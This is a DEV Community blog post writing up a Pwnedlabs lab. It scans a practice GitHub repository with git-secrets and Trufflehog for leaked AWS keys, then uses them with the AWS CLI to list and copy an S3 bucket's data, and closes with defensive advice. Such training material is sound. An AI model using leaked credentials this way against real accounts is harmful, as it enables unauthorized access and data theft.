DEV Community

constantine ukah
constantine ukah

Posted on

Hunt for Secrets in Git Repos

Overview

Exposed security credentials in Git repositories pose a significant real-world threat, potentially leading to the compromise of individual systems or even entire company networks and platforms.

Today, we will identify access keys within a target GitHub repository and use them to retrieve sensitive data from an S3 bucket.

Credit: Pwnedlabs.io lab.

Requirements / Pre-Requisites

  • Installation of git-secrets or Trufflehog.

Git-secrets prevent accidentally committing passwords, API keys and other sensitive information to a git repository by scanning the contents of Git repositories for predefined patterns that typically indicate the presence of sensitive information. The patterns are defined in regular expression rules. When it detects a match, it raises a warning or prevents the commit, depending on the configuration.

Trufflehog is another good tool to automate the process of discovering credentials in git repositories

git clone https://github.com/awslabs/git-secrets
cd git-secrets
make install
Enter fullscreen mode Exit fullscreen mode

On debian

pip3 install trufflehog --break-system-packages
Enter fullscreen mode Exit fullscreen mode

Fig. 1

  • Clone the Pwnedlab test repository
git clone https://github.com/huge-logistics/cargo-logistics-dev.git
Enter fullscreen mode Exit fullscreen mode
  • Finally, have your AWSCLI installed. Checkout this AWS Documentation for a complete installation of the CLI

Using Git Secret to scan the cloned repository

  • Navigate to the cloned git repo directory and run the following commands
cd cargo-logistics-dev/
git secrets --install
git secrets --register-aws
Enter fullscreen mode Exit fullscreen mode

Fig. 2

  • Scan all revisions of the repository using the command.
git secrets --scan-history
Enter fullscreen mode Exit fullscreen mode

Fig. 3

  • Check the content of the commit using the git show command
git show d8098af5fbf1aa35ae22e99b9493ffae5d97d58f:log-s3-test/log-upload
Enter fullscreen mode Exit fullscreen mode

Fig. 4

Using Trufflehog to scan the cloned repository.

trufflehog --regex --entropy=False ./cargo-logistics-dev/
Enter fullscreen mode Exit fullscreen mode

Fig. 5

Also, you can scan the github repository URL directly. Hence, there won't be a need to download the repository locally using the below command.

trufflehog https://github.com/huge-logistics/cargo-logistics-dev --max_depth 2
Enter fullscreen mode Exit fullscreen mode

Fig. 6.

From the above, we discovered an AWS access key that can be configured in the AWS CLI. Additionally, take note of the S3 bucket name, source file, and the region where the bucket is located—these details are crucial for our enumeration.

  • Configure an awscli profile using the exposed credentials and confirm the identity.
aws configure --profile <name of your profile> 
aws sts get-caller-identity
Enter fullscreen mode Exit fullscreen mode

Fig. 7

  • Now, list the content of the S3 bucket huge-logistics-transact using the command
aws s3 ls s3://huge-logistics-transact --profile <name of your profile>
Enter fullscreen mode Exit fullscreen mode

Fig. 8

  • Copy the content of the bucket to your local PC using the below command format - aws s3 cp s3://<bucket name> <destination location on your PC> --profile <your profile name> --recursive.
aws s3 cp s3://huge-logistics-transact ./exposed_bucket --profile exposed-secret --recursive 
Enter fullscreen mode Exit fullscreen mode

Fig. 9

  • Finally, you view the flag.txt file and the web_transaction.csv file, which contains highly sensitive data.

Fig. 10

Defense

  • Never hardcode your AWS credentials to your scripts or code rather make use of the AWS Secret Manager which enables you rotate your secrets.

  • Finally, ensure you always run a git-secret before committing to your git repository as it would prevent the commit if credentials are seen. You can also infuse it into your pipeline to automatically scan before committing your code changes to your git repository.

Refer to this AWS documentation for guidance on remediating exposed AWS credentials.

Heroku

Amplify your impact where it matters most — building exceptional apps.

Leave the infrastructure headaches to us, while you focus on pushing boundaries, realizing your vision, and making a lasting impression on your users.

Get Started

Top comments (1)

Collapse
 
goodluck_ekeoma_2c98866d0 profile image
Goodluck Ekeoma Adiole

Great article.
Learnt a lot

A Workflow Copilot. Tailored to You.

Pieces.app image

Our desktop app, with its intelligent copilot, streamlines coding by generating snippets, extracting code from screenshots, and accelerating problem-solving.

Read the docs

👋 Kindness is contagious

Engage with a wealth of insights in this thoughtful article, valued within the supportive DEV Community. Coders of every background are welcome to join in and add to our collective wisdom.

A sincere "thank you" often brightens someone’s day. Share your gratitude in the comments below!

On DEV, the act of sharing knowledge eases our journey and fortifies our community ties. Found value in this? A quick thank you to the author can make a significant impact.

Okay